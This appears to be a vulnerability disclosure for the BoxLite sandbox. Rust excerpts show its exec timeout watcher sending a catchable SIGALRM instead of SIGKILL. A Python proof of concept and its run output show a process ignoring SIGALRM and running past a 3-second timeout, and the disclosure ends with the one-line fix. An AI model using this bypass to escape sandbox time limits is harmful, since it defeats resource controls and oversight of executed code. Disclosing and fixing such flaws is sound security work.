BoxLite CVE-2026-47213

// Step 3: Start timeout watcher (if requested)
if req.timeout_ms > 0 {
    timeout::start_timeout_watcher(
        state,
        execution_id.clone(),
        std::time::Duration::from_millis(req.timeout_ms),
    );
}

pub(super) fn start_timeout_watcher(
    exec_state: ExecutionState,
    exec_id: String,
    timeout: Duration,
) {
    tokio::spawn(async move {
        tokio::time::sleep(timeout).await;

        // Kill process with SIGKILL        ← comment says SIGKILL
        use nix::sys::signal::Signal;
        if exec_state.kill(Signal::SIGALRM).await {   // ← but sends SIGALRM
            info!(execution_id = %exec_id, "killed on timeout");
        }
    });
}

pub async fn kill(&self, signal: nix::sys::signal::Signal) -> bool {
    let inner = self.inner.lock().await;
    if let Some(ref handle) = inner.handle {
        handle.kill(signal).is_ok()
    } else {
        false
    }
}

pub fn kill(&self, signal: Signal) -> BoxliteResult<()> {
    use nix::sys::signal::kill;
    kill(self.pid, signal).map_err(|e| {
        BoxliteError::Internal(format!(
            "Failed to send signal {} to process {}: {}",
            signal, self.pid, e
        ))
    })
}

   #!/usr/bin/env python3
   """
   PoC: BoxLite Execution Timeout Bypass via SIGALRM

   Reproduces the vulnerability described in:
     "Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse"

   Root cause:
     guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,
     catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).

   Exploitation:
     Any process that calls signal(SIGALRM, SIG_IGN) will survive past its
     configured timeout and run indefinitely.

   Usage:
     cd ~/Downloads/boxlite_poc
     source .venv/bin/activate
     python3 poc_sigalrm_bypass.py
   """

   import asyncio
   import time

   import boxlite
# -----------------------------------------------------------------------------
# Test programs (Python, so no gcc required)
# -----------------------------------------------------------------------------
# Control: no special signal handling - SIGALRM's default action is termination
   NORMAL_PROCESS = """
   import sys, time, os, signal
   seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
   print(f"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s", flush=True)
   for i in range(1, seconds + 1):
       time.sleep(1)
       print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
   print(f"PID {os.getpid()}: finished", flush=True)
   """
# Exploit: installs SIG_IGN for SIGALRM - one line bypass
   IGNORE_SIGALRM = """
   import sys, time, os, signal
   seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
   signal.signal(signal.SIGALRM, signal.SIG_IGN)
# <-- bypass
   print(f"PID {os.getpid()}: SIGALRM=SIG_IGN, running for {seconds}s", flush=True)
   for i in range(1, seconds + 1):
       time.sleep(1)
       if i > 3:
           print(f"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)", flush=True)
       else:
           print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
   print(f"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED", flush=True)
   """

   TIMEOUT_S = 3.0
# configured timeout
   WORKLOAD_S = 8
# process wants to run for 8 seconds
# -----------------------------------------------------------------------------
# Helper
# -----------------------------------------------------------------------------

   async def run_test(box, name, script, timeout):
       print(f"\n{'=' * 70}")
       print(f"TEST: {name}")
       print(f"  timeout={timeout}s" if timeout else "  timeout=None (disabled)")
       print(f"{'=' * 70}")
       t0 = time.time()
       try:
           result = await box.exec("python3", "-c", script, str(WORKLOAD_S), timeout=timeout)
           elapsed = time.time() - t0
           print(f"  [RESULT] exit_code={result.exit_code}, elapsed={elapsed:.2f}s")
           print("  [OUTPUT]")
           for line in result.stdout.strip().splitlines():
               if line.strip():
                   print(f"    {line}")
           return {
               "elapsed": elapsed,
               "exit_code": result.exit_code,
               "timed_out": False,
               "stdout": result.stdout,
           }
       except boxlite.TimeoutError as e:
           elapsed = time.time() - t0
           print(f"  [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}")
           return {"elapsed": elapsed, "exit_code": None, "timed_out": True, "stdout": ""}
       except Exception as e:
           elapsed = time.time() - t0
           print(f"  [ERROR] {type(e).__name__}: {e} (elapsed {elapsed:.2f}s)")
           return {"elapsed": elapsed, "exit_code": None, "timed_out": False, "stdout": ""}
# -----------------------------------------------------------------------------
# Main
# -----------------------------------------------------------------------------

   async def main():
       print("BoxLite PoC: Execution Timeout Bypass via SIGALRM")
       print("=" * 70)

       async with boxlite.SimpleBox(image="python:3-alpine") as box:
           print(f"Box started: {box.id}")
# Confirm SIGALRM = 14 inside the container
           r = await box.exec("python3", "-c", "import signal; print(signal.SIGALRM)")
           print(f"SIGALRM value inside container: {r.stdout.strip()}")
# --- Test 1: CONTROL ---
           r1 = await run_test(
               box,
               "CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)",
               NORMAL_PROCESS,
               TIMEOUT_S,
           )
           await asyncio.sleep(1)
# --- Test 2: EXPLOIT ---
           r2 = await run_test(
               box,
               "EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)",
               IGNORE_SIGALRM,
               TIMEOUT_S,
           )
           await asyncio.sleep(1)
# --- Test 3: BASELINE ---
           r3 = await run_test(
               box,
               "BASELINE: Normal process, no timeout (sanity check)",
               NORMAL_PROCESS,
               None,
           )
# --- Verdict ---
           print(f"\n{'=' * 70}")
           print("VERDICT")
           print(f"{'=' * 70}")
           print(f"  CONTROL:  elapsed={r1['elapsed']:.2f}s  exit_code={r1['exit_code']}  timed_out={r1['timed_out']}")
           print(f"  EXPLOIT:  elapsed={r2['elapsed']:.2f}s  exit_code={r2['exit_code']}  timed_out={r2['timed_out']}")
           print(f"  BASELINE: elapsed={r3['elapsed']:.2f}s  exit_code={r3['exit_code']}  timed_out={r3['timed_out']}")
# exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)
           control_killed_by_sigalrm = r1["exit_code"] == -14 and r1["elapsed"] < 5.0
           exploit_survived          = r2["elapsed"] > 5.0 and r2["exit_code"] == 0

           print()
           if control_killed_by_sigalrm:
               print("  [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)")
               print("      → confirms timeout watcher sends SIGALRM instead of SIGKILL")
           if exploit_survived:
               print(f"  [+] Exploit process ran {r2['elapsed']:.1f}s past {TIMEOUT_S}s timeout, exited normally")
               print("      → SIGALRM was absorbed by SIG_IGN, timeout completely bypassed")

           if exploit_survived and control_killed_by_sigalrm:
               print()
               print("  *** VULNERABILITY CONFIRMED ***")
               print(f"  Fix: change Signal::SIGALRM → Signal::SIGKILL in")
               print(f"       guest/src/service/exec/timeout.rs")
           elif not exploit_survived:
               print("  NOT CONFIRMED: exploit process was also terminated at timeout")
           else:
               print("  INCONCLUSIVE")


   if __name__ == "__main__":
       asyncio.run(main())

   $ python3 poc_sigalrm_bypass.py
   BoxLite PoC: Execution Timeout Bypass via SIGALRM
   ======================================================================
   Box started: W0oCKYIWga2t
   SIGALRM value inside container: 14

   ======================================================================
   TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)
     timeout=3.0s
   ======================================================================
     [RESULT] exit_code=-14, elapsed=3.01s
     [OUTPUT]
       PID 3: normal process (default SIGALRM), running for 8s
       PID 3: t+1s alive
       PID 3: t+2s alive

   ======================================================================
   TEST: EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)
     timeout=3.0s
   ======================================================================
     [RESULT] exit_code=0, elapsed=8.14s
     [OUTPUT]
       PID 4: SIGALRM=SIG_IGN, running for 8s
       PID 4: t+1s alive
       PID 4: t+2s alive
       PID 4: t+3s alive
       PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED

   ======================================================================
   TEST: BASELINE: Normal process, no timeout (sanity check)
     timeout=None (disabled)
   ======================================================================
     [RESULT] exit_code=0, elapsed=8.09s
     [OUTPUT]
       PID 5: normal process (default SIGALRM), running for 8s
       PID 5: t+1s alive
       PID 5: t+2s alive
       PID 5: t+3s alive
       PID 5: t+4s alive
       PID 5: t+5s alive
       PID 5: t+6s alive
       PID 5: t+7s alive
       PID 5: t+8s alive
       PID 5: finished

   ======================================================================
   VERDICT
   ======================================================================
     CONTROL:  elapsed=3.01s  exit_code=-14  timed_out=False
     EXPLOIT:  elapsed=8.14s  exit_code=0  timed_out=False
     BASELINE: elapsed=8.09s  exit_code=0  timed_out=False

     [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)
         → confirms timeout watcher sends SIGALRM instead of SIGKILL
     [+] Exploit process ran 8.1s past 3.0s timeout, exited normally
         → SIGALRM was absorbed by SIG_IGN, timeout completely bypassed

     *** VULNERABILITY CONFIRMED ***
     Fix: change Signal::SIGALRM → Signal::SIGKILL in
          guest/src/service/exec/timeout.rs